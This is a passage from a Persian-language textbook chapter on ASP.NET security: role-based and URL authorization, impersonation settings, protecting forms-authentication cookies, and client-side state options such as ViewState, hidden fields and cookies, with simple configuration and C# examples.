 اگر شود که مدیریت دسترسی ها بسیار ساده و دقیق انجام شود. دسته بندی نقش ها و دسترسی ها باعث می

ما نقش را درسیستم نرم افزاری که طراحی می کنیم در نظر نگیریم، باید آن وقت به هرکاربر دسترسی های 

که هر دو تحویل دار هستند دسترسی های یکسان نداشته  B و A جداگانه می دادیم که باعث می شد دو کاربر

هر کدام به بعضی قسمت ها دسترسی داشته باشند که این اتفاق باعث بهم ریختگی و عدم یکپارچگی باشند و 

 :قسمت اصلی سروکار داریم 3با   Authorization این توضیحات ما در با .سیستم می شود

       ها یدسترس .3            ها نقش .2            کاربران .1    

 .کاربر چه نقش هایی دارد و هر نقش چه دسترسی هاییکه می توانیم بگوییم هر 

 

یا حق دسترسی ها در طراحی و  Authorization این روش، یک روش کامل و نسبتا جامع برای پیاده سازی

 کندیتعیین م authorization توسعه نرم افزاها است که می تواند جوابگوی اکثر نیازهای ما در مقوله امنیت باشد.

 رسی به منابع خاص به یک هویت اعطا شود یا خیر.که آیا دست

 پیکربندی سطوح دسترسی کاربران: 1-5-4
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به عبارت دیگر برنامه باید بداند ؛ بعد از احراز هویت کاربران باید میزان دسترسی آنها به منابع هم مشخص شود

جام چه کارهایی در برنامه که هر کدام از کاربران دسترسی به کدام یک از قسمت های برنامه دارند یا مجاز به ان

 :اما سؤالی مطرح می شود که ابتدا باید به آن پاسخ داد؛ هستند

 آیا کاربران با نام کاربری خود منابع را از سیستم طلب کرده اند؟

جعل هویت روشی . بر می گردد ASP.NETپاسخ این سؤال به استفاده یا عدم استفاده شما از جعل هویت در 

 .اجازه می دهد تا با حساب کاربری درخواست دهنده به منابع دسترسی پیدا کند ASP.NETاست که به 

تنظیم پیش فرض . کنترل می شود web.configبا یک خط بصورت زیر در فایل  ASP.NETجعل هویت در 

 ASP.NETاز  web.configشما می توانید بصورت صریح در فایل . در این مورد عدم استفاده از جعل هویت است

 .بخواهید که از جعل هویت استفاده نکند

<identity impersonate="false"/> 

برای  ASP.NETاین به آن معنی است که  .از جعل هویت استفاده نخواهد کرد ASP.NETبا این تنظیم 

از یک  ASP.NETبصورت پیش فرض  .دسترسی به منابع مورد نیازش از حساب کاربری خودش استفاده می کند

 machine.configفایل  processModelالبته با تغییر در قسمت  .می کند استفادهASP.NETبری بنام حساب کار

 machine.configالبته با تغییر این حساب کاربری در فایل  .می توان این حساب کاربری پیش فرض را تغییر داد

 .اعمال خواهد شداستفاده می کنند،  ASP.NETاز  IISاین تنظیم برای تمام سایت هایی که در 

وقتی شما جعل هویت را غیر فعال می کنید، تمام درخواست ها با استفاده از حساب کاربری پیش فرض 

ASP.NET حتی در زمانی که شما از روش احراز هویت ناشناس استفاده می کنید یا به هر طریق . اجرا خواهد شد

از حساب کاربری پیش فرضش برای  ASP.NETکاربران را احراز هویت کنید، هم این موضوع صادق است و 

 .دسترسی به منابع استفاده خواهد کرد
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 :است web.configاما انتخاب دیگر استفاده از جعل هویت بصورت زیر در فایل 

<identity impersonate="true"/> 

منابع مورد  به او تحویل می دهد را گرفته و برای دسترسی به IISحساب کاربری که  ASP.NETدر این مورد، 

حساب کاربری  IISدر مورد استفاده از احراز هویت بصورت ناشناس،  .نیاز برای پردازش درخواست استفاده می کند

IUSR_ComputerName  را بهASP.NET در هر صورت اگر  .بعنوان کاربر درخواست دهنده ارسال خواهد کرد

اعتبار وجود داشته باشد، از همان اعتبار کاربر  در پردازش درخواست رسیده برای دسترسی به منبعی نیاز به

 .دریافت شده، برای این کار استفاده می شود IISدرخواست دهنده که از 

. در نهایت شما می توانید از یک حساب کاربری خاص برای اجرای تمام درخواست های رسیده استفاده کنید

اما بجای هویت کاربر درخواست کننده از حساب ؛ بدیهی است در این روش هم از جعل هویت استفاده می شود

 .کاربری که شما مشخص کرده اید، استفاده می شود

<identity impersonate="true" username="DOMAIN\username" password="password"/> 

خاص پس شما می توانید یک کاربر  .با این تنظیم، تمام درخواست ها با کاربر مشخص شده انجام خواهد شد

به این ترتیب درخواست هر کاربری که احراز هویت شود، با  .برای اجرا کردن تمام درخواست ها در نظر بگیرید

مشکل این روش آن جاست که شما کلمه عبور کاربر را در فایل پیکربندی  .این حساب کاربری اجرا خواهد شد

web.config البته  .فرین باشدبصورت بدون رمز قرار می دهید و این می تواند خطرآASP.NET  به کاربران اجازه

اما اگر کاربری از طریق دیگری به این فایل دسترسی پیدا کند، امنیت  ؛نمی دهد تا این فایل را دریافت کنند

 دسترسی به یک منبع خاص وجود دارد: authorizationدو راه برای  ASP.NETدر  .سایت به خطر می افتد

authorization فایل :authorization یمانهپتوسط  هالیفا  ٔ FileAuthorizationModule شودیانجام م .

تا تعیین کند که آیا  کندیرا بررسی م asmx.یا aspx.فایل ادارهکننده)ACLاین پیمانه لیست کنترل دسترسی )
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صورتی که در )کاربر  برای هویت ویندوز ACLیک کاربر باید به فایل دسترسی داشته باشد یا خیر. مجوزهای 

 .شوندیبررسی م ASP.NET ویندوز فرایندیا برای هویت  (احراز هویت ویندوز فعال باشد

authorization:URL authorization URL  توسطUrlAuthorizationModule  که کاربران و نقشها را به

URL ها در نرم افزارASP.NET انتخاب اجازه یا رد برای  برای تواندی. این پیمانه مشودی، انجام مکندینگاشت م

 برای کاربران یا نقشهای خاص بکار برود. (معمولاا پوشه ها)افزار  دسترسی به بخشهای مختلف از یک نرم

 authorization URLاستفاده از  2-5-4

خاص توسط نام کاربر یا نقش را قبول یا  ٔ  پوشهطور صریح دسترسی به یک  ، شما بهauthorization URLبا 

. دیکنیدر فایل پیکربندی برای آن پوشه ایجاد م authorization. برای انجام این کار، شما یک بخش دیکنیرا رد م

، شما یک لیست از کاربران یا نقشها را برای عناصر اجازه یا رد از بخش authorization URLبرای فعال کردن 

ه زیرپوشه های آن نیز اعمال . مجوز تعیین شده برای یک پوشه بدیکنیمجوز یک فایل پیکربندی مشخص م

 ، مگر اینکه فایلهای پیکربندی در یک زیرپوشه آن را رونویسی کند.شودیم

 در زیر نشان داده شده است: authorization برای پخشپیکربندی 

 

 تواندیرا مشخص کنید. هر دو را م rolesیا  usersشما باید یکی از صفات الزامی است.  denyیا  allowعنصر 

 اختیاری است. verbsصفت  الزامی نیستند.استفاده کرد، اما هر دو 

. هر عنصر از ویژگیهایی که در جدول زیر کنندیلغو م را اعطا یابه ترتیب دسترسی  denyو  allowعناصر 

 :دکنینشان داده شده است پشتیبانی م

 denyو  allow ی عناصرهایژگیو 5-6:جدول

<authorization> 

<[allow|deny] users roles verbs /> 
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 ویژگی

 
 توصیف

 

 

Users 

 
 .کندیکاربری( برای این عنصر را شناسایی م یهاهدف )حساب یهاتیهو

 

    

 

Roles 

 
 در درخواست فعلی که دسترسی به منبع برای آن RolePrincipal(یکش)ییک نقش 

 

    

   
 .شودییا نم شودیاجازه داده م

 

 Verbs  
 را POSTو GET,HEADاز قبیل دستورات  شودیکه به عمل اعمال م HTTP یهافعل

 

 

 johnو دسترسی را برای هویت  کندیاعطا م Adminsو اعضای نقش  Kimمثال زیر دسترسی را به هویت 

 .کندیباشد( و برای همه کاربران ناشناس لغو م Adminsشامل نقش  john)مگراینکه هویت 

 

<authorization> 

<allow users="Kim"/> 

<allow roles="Admins"/> 

<deny users="John"/> 

<deny users="?"/> 

</authorization> 

با استفاده از لیستهای جدا شده  rolesو  usersچندین موجودیت را برای هر کدام از صفات  دیتوانیشما م

 آمده است: توسط کاما مشخص کنید، آنگونه که در مثال زیر

<allow users="John, Kim, contoso\Jane"/> 

 

 ، باید هم دامنه و هم نام کاربر رادیکنیتوجه داشته باشید که اگر شما یک نام حساب دامنه را استفاده م

 (contoso\john) .بیاورید
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 Kimولی فقط به  دهدیبرای یک منبع را م HTTP GETکاربران اجازهی اجرای یک  ٔ  همه مثال زیر به

 :دهدیرا م POSTاجازهی انجام یک عمل 

<authorization> 

<allow verbs="GET" users="*"/> 

<allow verbs="POST" users="Kim"/> 

<deny verbs="POST" users="*"/> 

</authorization> 

 

 :شودیصورت زیر اعمال مقواعد به

. سیستم باشندیبرنامه ها هستند مقدم بر قوانین ارث برده مسطح قواعدی که در فایلهای پیکربندی در  •

که در  کندیتعیین م URLشده از همهی قواعد برای یک  قاعده مقدم را با استفاده از یک لیست ادغام

 اند. در ابتدای لیست قرار گرفته (هستندمراتب نزدیکترین که در سلسه  ییهاآن)آن جدیدترین قواعد 

و قواعد را بررسی  کندیشروع م لیست از ابتدای ASP.NETادغامشده از قواعد،  با داشتن مجموعهای •

 allow>شامل یک عنصر  ASP.NETتا زمانیکه اولین تطابق پیدا شود. پیکربندی پیشفرض برای  کندیم

user=”*”>  اگر  (.شودیآخر اعمال م ، این قاعده درپیشفرضطور ). سازدیکاربران را مجاز م ٔ  همهکه

. اگر یک عنصر گرددیبرم HTTP 401 کد وضعیتنقش مجاز دیگر تطابق پیدا نکند، درخواست با  هیچ

 ادامه پیدا کند. درخواست تا پردازش دهدیاجازه تطابق پیدا کند، پیمانه اجازه م

برای مشخص کردن یک فایل )locationیک عنصر مکان ) دیتوانیدر یک فایل پیکربندی، شما همچنین م

 پوشه مشخص کنید که تنظیمات در آن عنصر مکان باید اعمال شود.خاص یا 

 های احراز هویت فرم سازی بلیط امن 6-4

 به کار بگیرید: دیتوانیبرای امن سازی بلیطهای احراز هویت فرم دو روش زیر را م
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 صفحات. ٔ  همهبرای  SSLاستفاده از  ➢

 FormsAuthenticationرمزنگاری برای کلاس  یهااستفاده از تابع ➢

 برای تمام صفحات SSLاستفاده از  1-6-4

تا مطمئن شویم که کوکی احراز هویت در یک نشست  کندیبرای تمام صفحات کمک م SSL ازاستفاده 

اند تا دسترسی امن به همهی صفحات فراهم شود. با امن باقی مهِم SSLمرورگر کارخواه با استفاده از رمزنگاری 

کاربردی شما جلوی افشای کوکی احراز هویت و فرمهایی که اطلاعات با  ٔ  برنامهدر  SSLاستفاده از رمزنگاری 

 .دیریگیارزش دیگر را م

را وقتی که  SSLقرار دهید. این  trueبرای  Web.configرا در فایل  requireSSLبرای این کار مقدار ویژگی 

قرار ندهید، فرم یک  trueرا برابر  requireSSL. اگر شما مقدار کندیمفعال ، شودیکوکی برای مرورگر فرستاده م

 .شودینمهویت استثنا برمیگرداند و با کوکی احراز 

به محافظت از اعتبارنامه های کاربر کمک  اتصال رمز شدهتنظیم شده باشد،  trueبه مقدار  requireSSLوقتی 

. مرورگر سازگار کندیرا برای کوکی احراز هویت تنظیم م HttpCookie.Secureویژگی  ASP.NETو  کندیم

که چگونه این کار را در فایل  دهدیزیر نشان م کند. مثالاستفاده  SSLکوکی را برنمیگرداند مگر اینکه اتصال از 

 پیکربندی برنامه خود انجام دهید:

<configuration> 

<system.web> 

<authentication mode="Forms"> 

<forms name=".ASPXAUTH" 

loginUrl="login.aspx" 

protection="All" 

timeout="20" 

requireSSL="true"> 

</forms> 

</authentication > 
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<authorization> 

<deny users="?" /> 

</authorization> 

</system.web> 

</configuration> 

 

 FormsAuthenticationرمزنگاری برای کلاس  یهااستفاده از تابع 2-6-4

که به برای احراز هویت ارسال  ییآغازین ورود برای رمزنگاری اعتبارنامه ها ٔ  صفحهدر  SSLاگر شما فقط از 

، مطمئن شوید که بلیط احراز هویت فرم که در کوکی قرار دارد محافظت شده است. دیکنیاستفاده م شوندیم

واه و کارگزار در درخواستهای بعدی های احراز هویت فرم باید محافظت شوند چون این کوکی بین کارخ بلیط

 . برای رمزشودیردوبدل م

از کلاس  Encryptرا پیکربندی کنید و از تابع  formsاز عنصر  protectionکردن بلیط احراز هویت فرم، صفت 

FormsAuthentication :برای بلیط استفاده کنید 

<authentication mode="Forms"> 

<forms name="MyAppFormsAuth" 

loginUrl="login.aspx" 

protection="All" 

timeout="20" 

path="/" > 

</forms> 

</authentication> 

مقداردهی شده است، وقتی که برنامه تابع  Allبا  protectionاز آنجاییکه صفت 

FormsAuthentication.Encrypt احراز  ، بلیط باید اعتبارسنجی و رمز شود. وقتی که بلیطکندیرا فراخوانی م

برنامه  Loginرا فراخوانی کنید. شما نوعاا بلیط را در قسمت مدیریت رویداد Encrypt، تابع دیسازیهویت فرم را م

 :دیسازیم
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string encryptedTicket = FormsAuthentication.Encrypt(authTicket); 

 

 authorizationلیست برای احراز هویت و  یک چک 7-4

 به برنامه خود authorizationاست که در هنگام اضافه کردن احراز هویت و  ییهاتمیلیست شامل آ ین چکا

 باید رعایت کنید:

تنها در صورتی که مجبور هستید نقشها را خودتان تعریف کنید. بعضی حالتها وجود دارد که  ➢

ه با را پیاده سازی کنید، اما این عمل همرا authorizationخودتان توابع احراز هویت و  دیخواهیم

فراهم  اشتباهات بالقوه است. اگر دارای پایگاه دادهای برای کاربر هستید، آنگاه پیاده سازی مدلهای

استاندارد  یهاکننده برای عضویت و نقشها را در نظر بگیرید. این کار به شما امکان استفاده از تابع

 .کندیبرای کنترل دسترسی را فراهم م

صورت پیوسته ممکن است منجر به از سیستم کنیم. احراز هویت بهکاربران خود را تشویق به خروج  ➢

خروج و قابل  ٔ  دکمهبا ارزش بالا، کاربران را با ارایهی  یهاستمیشود. برای س CSRFحمله های 

 را فراهم نکنید. »مرا به خاطر بسپار  « رویت به خروج از سیستم تشویق کنید و قابلیت

به طور مشخص کسانی که دسترسی همیشه با نقش عدم دسترسی شروع کنید. این حالت که به ➢

 تر است.دارند، تعیین شوند نسبت به حالتی که کسانی که دسترسی ندارند تعیین شود امنمنابع 

داشته باشید. نقشهای  اطلاع IISو  ASP.NETدر  authorizationاز تفاوت بین قوانین  ➢

authorization IIS در شودیمنبعی اجرا م هر برای .ASP.NET  قوانینauthorization  تنها منابع

 .کندیمحافظت م را شده مدیریت handlerشده به یک  نگاشت

 تا کنترلها را پنهان یا نمایش دهید، از دیکنیرا بررسی م authorizationویسی صورت برنامهناگر به ➢
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اطمینان پیدا کنید. اگر عناصر کاربری مانند  ترنییپا ٔ  هیلادر کدهای ها authorizationاجرای آن  ➢

، دوباره دیکنییا پنهان م دیدهیکاربری هستند را نمایش می هاها یا نامکه براساس نقش ییدکمه ها

 را انجام دهید. هایبررس ()OnClickدر هر تابع مربوط به آن دکمه ها مانند 

دهی کاربر جاری را بررسی کنید. اگر منبعی  پیش از سرویساگر منابع به کاربری خاصی تعلق دارد،  ➢

 کاربر جاری به آن منبع دسترسی دارد. کنید کهمانند یک پیام برای کاربر خاصی است آنگاه بررسی 

 



 

 

 

 ت امن حالتیریمد: پنجمفصل  -5

 ASP.NETت حالت در یریبر مد یمرور 1-5

گردد. در برنامه یجاد میوب ا ٔ  صفحهد از کلاس یجد ٔ  نمونهک یهر زمان که صفحه به سرور ارسال شود، 

صفحه، با هر رفت  یاست که تمام اطلاعات مرتبط با صفحه و کنترلها ین معمولاا بدان معنیوب، ا یسنت یسینو

با انتقال  ،کردیمتن وارد م ٔ  جعبهرا در  یمثال، اگر کاربر اطلاعات یو برگشت به سرور از دست خواهند رفت. برا

 رفت.یستم کلاینت به سرور، اطلاعات از دست میا سیرگر و از مرو

است که به  یمختلف یهانهیشامل گز ASP.NET، یوب سنت یسیبرنامه نو یت ذاتین محدودیغلبه بر ا یبرا

 کند.یگسترده، کمک م ٔ  برنامهشما در حفظ اطلاعات در هر صفحه و در 

 ر است:یها به شرح زیژگین ویا

➢ View state 

 رلحالت کنت ➢

 یمخف یلدهایف ➢

 هایکوک ➢

 (Query Stringsجو )پرس و  یهارشته ➢

 (application stateبرنامه )حالت  ➢

 (session stateنشست )حالت  ➢

 لیپروفا یهایژگیو ➢
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View stateها و ی، کوکیمخف یلدهای، حالت کنترل، فquery strings داده در سمت  ٔ  یرهذخ یبرا یهمگ

 یهایژگی، حالت نشست و وApplicationرند و حالت یگیمختلف مورد استفاده قرار م یق روشهایکلاینت از طر

و مورد یها، بسته به سنارنهین گزیک از ایکنند. هر یم یحافظه در سرور نگهدار یداده را رو یل همگیپروفا

 باشد.یب مجزا میو معا یایمزا یاستفاده، دارا

 بر کلاینت یت حالت مبتنیریمد یهانهیگز 2-5

شود یوتر کلاینت میا کامپیاطلاعات در صفحه  ٔ  یرهذخت حالت که شامل یریمد یبرا ییهانهیر گزیز یبخشها

 شود.یره نمیسرور ذخ یها رون رفت و برگشتیب یچ اطلاعاتیها هنهین گزیا یدهد. برایح میرا توض

1-2-5 View state 

 stateبرای بخاطر سپردن  view stateاز  ASP.NETس دهنده ینترل های سروکد یه اطلاع دارکهمانگونه 

 postbackپس از هر  یکلد مخفی نگهداری شده و بطور اتوماتیف یکدر  view stateند. اطلاعات یاستفاده می نما

س دهنده نمی گردد و در صورت ینترل های سروکمحدود به  view stateس دهنده ارسال می گردد. یبرای سرو

ابی یان بازکره تا امیذخ view stateدر مجموعه  "مایاز را مستقیلاعات مورد نضرورت می توان مجموعه ای از اط

ره نمود. نوع های داده یذخ view stateفراهم شود. نوع های مختلفی را می توان در  postbackآنها پس از هر 

 نه می باشند.ین زمیاء سفارشی نمونه هائی در ایساده و اش

لاس مجموعه کنمونه از  یکن خصلت ید. ایرا ارائه می نما view stateصفحه، مجموعه  ViewStateخصلت 

StateBag .شنری استفاده یکد یکمشابه با   لاس، از گرامریکن یتم هائی در ایردن و حذف آکاضافه  یبرا است

 است.  نام منحصر بفرد یکتم دارای یه در آن هر آک  می گردد

ن رفت و یب یژگین ویر ایاطلاعات صفحه و کنترل مقاد ینگهدار یشفرض است که صفحه براین روش پیا

 ٔ  رشتهک یصورت آن به یصفحه و کنترلها یکه صفحه پردازش شد، حالت فعل یکند. زمانیبرگشتها استفاده م

رهشده در یذخ یکه حجم داده ها یدر صورت) یلد مخفیا چند فی یلد مخفیک فیعنوان شده و به یدرهم ساز



 

173 

ViewState  مشخص شده در صفت از مقدارMaxPageStateFieldLength ره یشتر شود( در صفحه ذخیب

را  ViewStateرشته  ٔ  یهاول یکه صفحه به سرور ارسال و بازگردانده شود، صفحه در مقدارده یشوند. زمانیم

ره یذخ ViewStateر را هم در ید مقادیتوانیگرداند. شما میرا به صفحه باز م یژگین ویه کرده و اطلاعات ایتجز

 د.یکن

 عبارتند از: ViewStateاستفاده از  یایمزا

 رد.یگیک ساختار در کد صفحه قرار میدر  ViewStateستند: یاز نیمنابع سرور موردن ➢

طور از ندارد و بهیاستفاده ن یبرا یسفارش یسینوچگونه برنامهیه ViewStateساده:  یاده سازیپ ➢

 کنترلها فعال است. ره داده حالت دریذخ یشفرض برایپ

 ،یدرهم ساز ViewStateر یکد، مقادیونی یهایاده سازی: به منظور پیتیشرفته امنیپ یهایژگیو ➢

فراهم  یمخف یلدهاینسبت به استفاده از ف یشتریت بین امر امنیشود که ایم یو کدگذار فشرده

 کند.یم

 عبارتند از: ViewStateب استفاده از یمعا

ر بزرگ یمقاد ٔ  یرهذخشود، یره میدر خود صفحه ذخ ViewStateنکه یل ایدل: به ییملاحظات کارا ➢

تلفن همراه  یهاژه درمورد دستگاهین امر به وین آمدن سرعت صفحه شود. اییتواند سبب پایم

 ت دارد.یها محدودن دستگاهیباند در ا یشتر محسوس است چراکه پهنایب

 یادیره مقدار زیذخ یت حافظه برایتلفن همراه ممکن است ظرف یهاها: دستگاهت دستگاهیمحدود ➢

 نداشته باشند. ViewStateاز اطلاعات 

شود. اگرچه یره میدر صفحه ذخ یلد مخفیا چند فیک یدر  ViewStateبالقوه:  یتیامن یهاسکیر ➢

ViewState شود.  یرتواند دستکایکند اما بازهم میره میشده ذخ یصورت درهم سازداده ها را به



 

174 

ده یز دین یمخف یلدهایم مشاهده شود، اطلاعات فیطور مستقصفحه به یکه کد خروج یدر صورت

 کند.یجاد میبالقوه را ا یتیک مسئله امنین یکه ا شودیم

 را در کلیک حفظ می کنیم. postbackمثال: در این مثال تعداد 

protected void Page_Load(object sender, EventArgs e) 

{ 

 if (IsPostBack) 

 { 

 if (ViewState["count"] != null) 

 { 

 int ViewstateVal = Convert.ToInt32(ViewState["count"]) + 1; 

 Label1.Text = ViewstateVal.ToString(); 

 ViewState["count"]=ViewstateVal.ToString(); 

 } 

 else 

 { 

 ViewState["count"] = "1"; 

 } 

 } 

} 

protected void Button1_Click(object sender, EventArgs e) 

{ 

 Label1.Text=ViewState["count"].ToString(); 

} 

 

 حالت کنترل  2-2-5

د. یکن یک کنترل، نگهداریحالت کنترل را به منظور درست کار کردن  ید تا داده هایاز داریاوقات ن یگاه

د. یریدهد، درنظر بگیش میرا نما یمتعدد که اطلاعات مختلف یهاشامل برگه یک کنترل سفارشیمثال، عنوانبه

ن رفت و برگشتها، کدام برگه انتخاب شده است. یاز دارد که بداند بیح، نین کنترل به منظور کار کردن صحیا
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ممکن است در سطوح مختلف  ViewStateرد اما ین هدف مورد استفاده قرار گیا یتواند برایم ViewState یژگیو

ن یحل ا یکند. برایطور مؤثر کنترل شما را شکننده من بهیصفحه توسط توسعه دهندگان غیر فعال شود و اک ی

حالت کنترل به شما اجازه  یژگیبه نام حالت کنترل دارد. و یژگیک وی ASP.NETموضوع، چارچوب صفحه 

 یاجازه خال viewState یژگیکند ثابت کرده و برخلاف ویک کنترل را مشخص میکه  یدهد تا اطلاعات صفاتیم

 دهد.یشدن آن را نم

 استفاده از حالت کنترل عبارتند از: یایمزا

ره یدر صفحه ذخ یمخف یلدهایشفرض، حالت کنترل در فیطور پبه منابع سرور ندارد: به یازین ➢

 شود.یم

ت یبلست، قایشدن ن یقابل خال ViewStateنکه حالت کنترل مانند یل اینان: به دلیت اطمیقابل ➢

 ت حالت کنترلها دارد.یریمد یبرا یشترینان بیاطم

نکه چگونه و کجا اطلاعات یتوانند به منظور مشخص کردن ایم یسفارش ی: آداپتورهایریق پذیتطب ➢

 ره شده است، نوشته شوند.یکنترل حالت ذخ

 ب استفاده از کنترل حالت:یمعا

 یک اساس برای ASP.NET ٔ  صفحهکه چارچوب  یدارد: در حال یسینوبرنامه یاز به مقدارین ➢

استفاده  یاست. برا یسم حفظ حالت سفارشیک مکانیکند، حالت کنترل، یحالت کنترل فراهم م

 د.یسیحالت کنترل کد بنو یره و بارگذاریذخ ید برایکامل از حالت کنترل، شما با

 یمخف یلدهایف  3-2-5

Asp.NET دهد که اطلاعات را در کنترل یبه شما اجازه مHiddenField لد یک فیصورت د که بهیره کنیذخ

شود. فیلد مخفی مقدار کمی از داده را روی کلاینت ذخیره می کند. یش داده مینما HTMLاستاندارد  یمخف
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یک مقدار برای متغیر ذخیره می کند و برای موقعی که مقدار متغیر مدام در حال تغیر است مناسب است. یک 

ک کنترل استاندارد ید درست مانند یتوانیشود، اما می( نمrenderترجمه )در مرورگر  یصورت مرئبه یلد مخفیف

ر یبه همراه مقاد یلد مخفیک فی یشود، محتوایک صفحه به سرور ارسال میکه  ید. زمانیکن یآن را مقدارده

 ٔ  یرهذخ یبراک مخزن یعنوان به یلد مخفیک فیشود. یارسال م HTTPگر به شکل مجموعه فرم ید یکنترلها

 کند.ید، عمل میکن یم درصفحه نگهداریطور مستقد بهیخواهیک صفحه خاص که میهر گونه اطلاعات 

 :یتیامن ٔ  نکته

که حساس بوده  ین اطلاعاتیآسان است بنابرا یلد مخفیک فی یر محتواییک کاربر مخرب، مشاهده و تغی یبرا

 د.یره نکنیذخ یلد مخفیاطلاعات است را در فن یشما وابسته به کارکردن درست ا ٔ  برنامها ی

د به دقت به صفحه اضافه یکند و بایره میخود ذخ Valueر واحد در صفت یک متغی HiddenFieldکنترل 

 HTTPد صفحه را توسط دستور یدرطول پردازش صفحه در دسترس باشند، با یلد مخفیر فینکه مقادیا یشود. برا

POST ا دستور ینک یک لیک صفحه به منظور پاسخ به یاستفاده کرده و  یمخف یالدهید. اگر از فیارسال کن

HTTP GET در دسترس نخواهند بود. یمخف یلدهایپردازش شود، ف 

 عبارتند از: یمخف یلدهایاستفاده از ف یایمزا

 شوند.یز خوانده میره شده و از صفحه نیدر صفحه ذخ یمخف یلدهایستند: فیاز نیمنابع سرور موردن ➢

 یبانیپشت یمخف یلدهایکلاینت از ف یباا تمام مرورگرها و دستگاههایگسترده: تقر یبانیپشت ➢

 کنند.یم

 یسینوهستند که به برنامه HTMLاستاندارد  یها، کنترلیمخف یلدهایآسان: ف یاده سازیپ ➢

 از ندارند.ین یادهیچیپ یمنطق

 عبارتند از: یمخف یلدهایب استفاده از فیمعا
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 یکه کد خروج یشوند. در صورت یتوانند دستکاریم یمخف یلدهایبالقوه: ف یتیامن یهاسکیر ➢

ک مسئله ین یکه ا شودیده میز دین یمخف یلدهایم مشاهده شود، اطلاعات فیطور مستقصفحه به

را  یلد مخفیک فیات یمحتو یصورت دستد بهیتوانیکند. شما میجاد میبالقوه را ا یتیامن

ت یدارد. اگر امن یو سربار اضاف یسیاز به برنامه نوین کار نید، اما انجام ایکن ییو رمزگشا یرمزگذار

چ گونه یکه ه ید، به طوریریبر سرور درنظر بگ یسم حالت مبتنیک مکانیشماست،  یک نگرانی

 به کلاینت ارسال نشود. یاطلاعات حساس

ک ی، یمخف یلدهایکند. فینم یبانیانواع داده را پشت یلد مخفیساده: ف یره سازیذخ یمعمار ➢

 یهاد رشتهیر متعدد، بایمقاد ٔ  یرهذخ یدهد. برایاطلاعات ارائه م یجامنفرد را به ٔ  رشته

صورت د بهیتوانین مید. شما همچنیکن یاده سازیآن رشته پ ٔ  یهتجز یبرا یمحدودشده و کد

ن عمل یان حال، ید. با ایکن یساز یخط یمخف یلدهایصورت فرا به یغن یانواع داده ها یدست

د، استفاده از یسمت کلاینت دار یانواع داده غن یره سازیاز به ذخیدارد. اگر ن یاز به کد اضافین

view state یبرا یساز ید. خطیرا مد نظر قرار ده View State وجود دارد یصورت درونبه 

ر یقادم ٔ  یرهذخشود، یره میدر خود صفحه ذخ یمخف یلدهاینکه فیل ای: به دلییملاحظات کارا ➢

 ن آمدن سرعت صفحه شود.ییا ارسال آن، سبب پایش یتواند به هنگام نمایبزرگ م

از  یبزرگ شود، برخ یلیخ یلد مخفیشده در ف رهیذخ ٔ  داده: اگر حجم یره سازیت ذخیمحدود ➢

کنند. از آنجا که یم یریر جلوگین مقادیبه صفحات شامل ا یروالها از دسترسیها و فایپروکس

 یمخف یلدهایمتفاوت باشد، ف یروال و پروکسیفا یمختلف یهایاده سازیتواند در پیمحداکثر مقدار 

 صورت پراکنده مشکل ساز شوند.توانند بهیبزرگ م

 د:یر را انجام دهیاز موارد ز یکید، یره کنیذخ یلد مخفیدر ف یادیز یها د که دادهیاز داریاگر ن

o  د.یجداگانه قرار ده یلد مخفیک فیهر داده را در 
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o  ازViewState ن یها را در چند ادهطور خودکار دد که بهیاستفاده کن یبه همراه قطعه بند

 کند.یجدا م یلد مخفیف

o دادهد. هرچه یکن یها را سمت سرور نگهدارداده ها در سمت کلاینت، آن ٔ  یرهذخ یجابه  ٔ 

را ید زشویشما کندتر م ٔ  برنامه ید، زمان پاسخ ظاهریسمت کلاینت ارسال کن یشتریب

 ا دانلود کند.یارسال  یشتریب یاز دارد که داده هایمرورگر ن

 را یکی افزایش می دهد. valمقدار  "No Action Button"مثال: این برنامه با هر بار کلیک روی  

<asp:HiddenField ID="HiddenField1" runat="server"/> 

In the code-behind page: 

protected void Page_Load(object sender, EventArgs e) 

{ 

 if (HiddenField1.Value != null) 

 { 

 int val= Convert.ToInt32(HiddenField1.Value) + 1; 

 HiddenField1.Value = val.ToString(); 

 Label1.Text = val.ToString(); 

 } 

} 

protected void Button1_Click(object sender, EventArgs e) 

{ 

//this is No Action Button Click 

} 

 

 هایکوک  4-2-5

ر صفحات یره اطلاعات به منظور استفاده در سایگر از روش های موجود جهت ذخیی دیکی های سفارشی کوک

 ٔ  حافظها یل کلاینت یستم فایدر س یل متنیک فایاز داده هاست که در  یک حجم کوچکی یکوک می باشند.

 یت است که سرور همراه با خروجیرنده اطلاعات خاص سایدربرگ یکوک شود.یره مینشست در مرورگر کلاینت ذخ
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 یمیا دایمشخص(  ٔ  خاتمهخ یصورت موقت )با زمان و تارتواند بهیم یکند. کوکیکلاینت ارسال م یصفحه برا

 باشد.

علاوه بر ره اطلاعات است. یاربر نسبت به ذخکرمحسوس آنها و عدم آگاهی یرد غکی ها عملکوکای یی از مزایک

ره شده در یان استفاده از اطلاعات ذخکرد، امکاستفاده   از صفحات برنامه یکی ها در هر کوکه می توان از کن یا

 شتر(.یره اطلاعات با طول عمر بیانی برای ذخکم)ز وجود دارد یاربر نکدهای آتی یآنها طی بازد

 باشند: ز مییا چالش های مختص به خود نیت ها و یی ها دارای محدودکوک

ی از اطلاعات به صورت متن در کره حجم اندیان ذخکام ": صرفای از اطلاعاتکره حجم اندیذخ ➢

 آنها وجود دارد.

ند، می تواند به کدا می یل مربوط به آن را پیی و فاکوکاربر که ک: در صورتی من بودنیعدم ا ➢

 .(خواندن، حذف)د یدا نمایابی پیسادگی به آن دست

اربران اقدام به که کن احتمال وجود خواهد داشت ی: همواره ااربرانکان حذف آنها توسط کام ➢

 ند.یوتر خود نمایامپکی های موجود بر روی کوکحذف 

ی ها می کوک: رندهیس گیت در برخی مرورگرها با توجه به نوع دستگاه سرویوجود محدود ➢

ند. به عنوان نمونه، یجاد نمایت ایحدودتوانند در تعداد مخاطبان با توجه به نوع دستگاه آنها م

 ل مناسب نمی باشد.یه شده در دستگاه های موبایی به همراه مرورگرهای از قبل تعبکوکری یارگکب

رفعال یق مرورگر خود غیی را از طرکوکجاد یان اکاربران امک: برخی از اربرکمات یوابسته به تنظ ➢

 برای برنامه های وب به دنبال داشته باشد.ار می تواند مسائل متعددی را کن یند. ایمی نما

رد. یره اطلاعات مورد توجه قرار گیف برای ذخینه ضعیگز یکی به عنوان کوکه کعوامل فوق باعث شده است 

 ار محدود می گردد.یی بسکوکاد باشد، استفاده از یا حجم آنها زیده، خصوصی و یچیه اطلاعات پکدر مواردی 
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استفاده  Applicationا یک کلاینت خاص، نشست یاطلاعات در مورد  ٔ  یرهذخ یبرا ید از کوکیتوانیشما م

